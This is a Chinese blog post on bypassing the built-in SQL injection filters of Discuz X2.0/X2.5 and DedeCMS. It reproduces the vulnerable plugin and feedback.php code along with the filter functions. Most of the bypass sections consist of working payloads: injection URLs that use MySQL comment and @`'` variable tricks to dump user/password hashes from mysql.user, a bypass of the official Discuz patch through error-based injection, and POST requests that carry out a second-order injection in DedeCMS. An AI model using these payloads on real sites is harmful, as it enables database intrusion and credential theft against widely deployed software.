几种通用防注入程序绕过方法 |

0x00 前言


目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。

0x01 Discuz x2.0防注入


防注入原理

这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。

漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getGoods( $id ){
       $query = DB::query( 'select * from ' .DB::table( 'v63_goods' ). ' where `id` =' . $id );
         $goods = DB::fetch( $query );
         $goods [ 'endtime2' ] = date ( 'Y-m-d' , $goods [ 'endtime' ]);
         $goods [ 'price2' ] = $goods [ 'price' ];
         if ( $goods [ 'sort' ] ==2){
             $goods [ 'endtime2' ]= date ( 'Y-m-d H:i:s' , $goods [ 'endtime' ]);
             $query = DB::query( "select * from " .DB::table( 'v63_pm' ). " where gid='$goods[id]' order by id desc " );
             $last = DB::fetch( $query );
             if ( is_array ( $last )){
                 $goods [ 'price' ] = $last [ 'chujia' ];
                 $goods [ 'uid' ]  = $last [ 'uid' ];
                 $goods [ 'username' ]  = $last [ 'username' ];
                 $goods [ 'pm' ] = $last ;
                 if (time()+600> $goods [ 'endtime' ]){
                     $goods [ 'endtime' ] = $last [time]+600;
                     $goods [ 'endtime2' ]= date ( 'Y-m-d H:i:s' , $last [time]+600);
                 }
             }
         }
         return $goods ;
}

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:  几种通用防注入程序绕过方法 |_第1张图片

下面可以构造如下请求触发漏洞了,如图所示:  几种通用防注入程序绕过方法 |_第2张图片

不过程序内置了一个_do_query_safe函数用来防注入,如图所示  几种通用防注入程序绕过方法 |_第3张图片

这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

几种通用防注入程序绕过方法 |_第4张图片

因为我们的url中出现了union select,所以会被过滤掉。

绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:

http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为

select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示

几种通用防注入程序绕过方法 |_第5张图片  此时$clean值,如图所示  几种通用防注入程序绕过方法 |_第6张图片

此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下:  几种通用防注入程序绕过方法 |_第7张图片

0x02 Discuz X2.5防注入


防注入原理

Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示  几种通用防注入程序绕过方法 |_第8张图片

这里$_config['security']['querysafe']['afullnote'] 默认被设置为0,重点关注这一点。

这里跟踪一下失败的原因,如图所示:  几种通用防注入程序绕过方法 |_第9张图片

此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示:  几种通用防注入程序绕过方法 |_第10张图片

其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:

enter image description here  因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  几种通用防注入程序绕过方法 |_第11张图片

所以注入失败。

绕过方法

在Mysql当中,定义变量用@字符,可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@'放入sql语句当中,帮助我们绕过防注入程序检查。

这里利用如下方式绕过_do_query_safe函数过滤,如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user

这里跟踪一下执行的过程,如图所示:

几种通用防注入程序绕过方法 |_第12张图片  这里有一个if判断,重点看这句

1
$clean = preg_replace( "/'(.+?)'/s" , '' , $sql );

它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用

@`'` union select @`'`

这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示:  几种通用防注入程序绕过方法 |_第13张图片

这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:  几种通用防注入程序绕过方法 |_第14张图片

不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下:  enter image description here

加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:

1
2
3
if ( strpos ( $sql , '/' ) === false && strpos ( $sql , '#' ) === false && strpos ( $sql , '-- ' ) === false) {
     $clean = preg_replace( "/'(.+?)'/s" , '' , $sql );
}

这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`

这里我引入了`'`用来隐藏第一个@字符,并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示:  几种通用防注入程序绕过方法 |_第15张图片

可以看到$clean变为

select * from pre_v63_goods where `id` =``

成功绕过补丁,如图所示:

几种通用防注入程序绕过方法 |_第16张图片  不过这样做的代价是不能再使用union select了,只能通过报错获取数据。

0x03 DedeCMS防注入


防注入原理

这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。

漏洞存在于/plus/feedback.php中的第244行,代码如下所示

if($comtype == 'comments')
    {
        $arctitle = addslashes($title);
        $typeid = intval($typeid);
        $ischeck = intval($ischeck);
        $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
            $rs = $dsql->ExecuteNoneQuery($inquery);
            if(!$rs)
            {
                ShowMsg(' 发表评论错误! ', '-1');
                //echo $dsql->GetError();
                exit();
            }
        }
    }
    //引用回复
    elseif ($comtype == 'reply')
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
        $arctitle = $row['arctitle'];
        $aid =$row['aid'];
        $msg = $quotemsg.$msg;
        $msg = HtmlReplace($msg, 2);
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
        $dsql->ExecuteNoneQuery($inquery);
    }

这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示

$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];

这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。

但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。

绕过方法

众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
function CheckSql( $db_string , $querytype = 'select' )
     {
         global $cfg_cookie_encode ;
         $clean = '' ;
         $error = '' ;
         $old_pos = 0;
         $pos = -1;
         $log_file = DEDEINC. '/../data/' .md5( $cfg_cookie_encode ). '_safe.txt' ;
         $userIP = GetIP();
         $getUrl = GetCurUrl();
 
         //如果是普通查询语句,直接过滤一些特殊语法
         if ( $querytype == 'select' )
         {
             $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}" ;
 
             //$notallow2 = "--|/\*";
             if (preg_match( "/" . $notallow1 . "/i" , $db_string ))
             {
                 fputs ( fopen ( $log_file , 'a+' ), "$userIP||$getUrl||$db_string||SelectBreak\r\n" );
                 exit ( "<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>" );
             }
         }
 
         //完整的SQL检查
         while (TRUE)
         {
             $pos = strpos ( $db_string , '\'' , $pos + 1);
             if ( $pos === FALSE)
             {
                 break ;
             }
             $clean .= substr ( $db_string , $old_pos , $pos - $old_pos );
             while (TRUE)
             {
                 $pos1 = strpos ( $db_string , '\'' , $pos + 1);
                 $pos2 = strpos ( $db_string , '\\' , $pos + 1);
                 if ( $pos1 === FALSE)
                 {
                     break ;
                 }
                 elseif ( $pos2 == FALSE || $pos2 > $pos1 )
                 {
                     $pos = $pos1 ;
                     break ;
                 }
                 $pos = $pos2 + 1;
             }
             $clean .= '$s$' ;
             $old_pos = $pos + 1;
         }
         $clean .= substr ( $db_string , $old_pos );
         $clean = trim( strtolower (preg_replace( array ( '~\s+~s' ), array ( ' ' ), $clean )));
 
         //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
         if ( strpos ( $clean , 'union' ) !== FALSE && preg_match( '~(^|[^a-z])union($|[^[a-z])~s' , $clean ) != 0)
         {
             $fail = TRUE;
             $error = "union detect" ;
         }
 
         //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
         elseif ( strpos ( $clean , '/*' ) > 2 || strpos ( $clean , '--' ) !== FALSE || strpos ( $clean , '#' ) !== FALSE)
         {
             $fail = TRUE;
             $error = "comment detect" ;
         }
 
         //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
         elseif ( strpos ( $clean , 'sleep' ) !== FALSE && preg_match( '~(^|[^a-z])sleep($|[^[a-z])~s' , $clean ) != 0)
         {
             $fail = TRUE;
             $error = "slown down detect" ;
         }
         elseif ( strpos ( $clean , 'benchmark' ) !== FALSE && preg_match( '~(^|[^a-z])benchmark($|[^[a-z])~s' , $clean ) != 0)
         {
             $fail = TRUE;
             $error = "slown down detect" ;
         }
         elseif ( strpos ( $clean , 'load_file' ) !== FALSE && preg_match( '~(^|[^a-z])load_file($|[^[a-z])~s' , $clean ) != 0)
         {
             $fail = TRUE;
             $error = "file fun detect" ;
         }
         elseif ( strpos ( $clean , 'into outfile' ) !== FALSE && preg_match( '~(^|[^a-z])into\s+outfile($|[^[a-z])~s' , $clean ) != 0)
         {
             $fail = TRUE;
             $error = "file fun detect" ;
         }
 
         //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
         elseif (preg_match( '~\([^)]*?select~s' , $clean ) != 0)
         {
             $fail = TRUE;
             $error = "sub select detect" ;
         }
         if (! empty ( $fail ))
         {
             fputs ( fopen ( $log_file , 'a+' ), "$userIP||$getUrl||$db_string||$error\r\n" );
             exit ( "<font size='5' color='red'>Safe Alert: Request Error step 2!</font>" );
         }
         else
         {
             return $db_string ;
         }
     }

但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。

这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。

',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,如图所示  几种通用防注入程序绕过方法 |_第17张图片

如下SQL语句

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');

被替换为了

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);

字符串中没有任何敏感字,成功绕过CheckSql()函数检测。

POST如下请求给feedback.php,如下所示:

   action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,实际执行的SQL语句跟踪变量如下所示:  几种通用防注入程序绕过方法 |_第18张图片

被插入数据库中的内容,如图所示:  几种通用防注入程序绕过方法 |_第19张图片

下面再POST如下内容给feedback.php,

action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50

跟踪一下这里执行的SQL语句,如图所示  几种通用防注入程序绕过方法 |_第20张图片

所以select user()执行了,并且可以作为msg字段输出。

0x04 总结


在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。

你可能感兴趣的:(方法)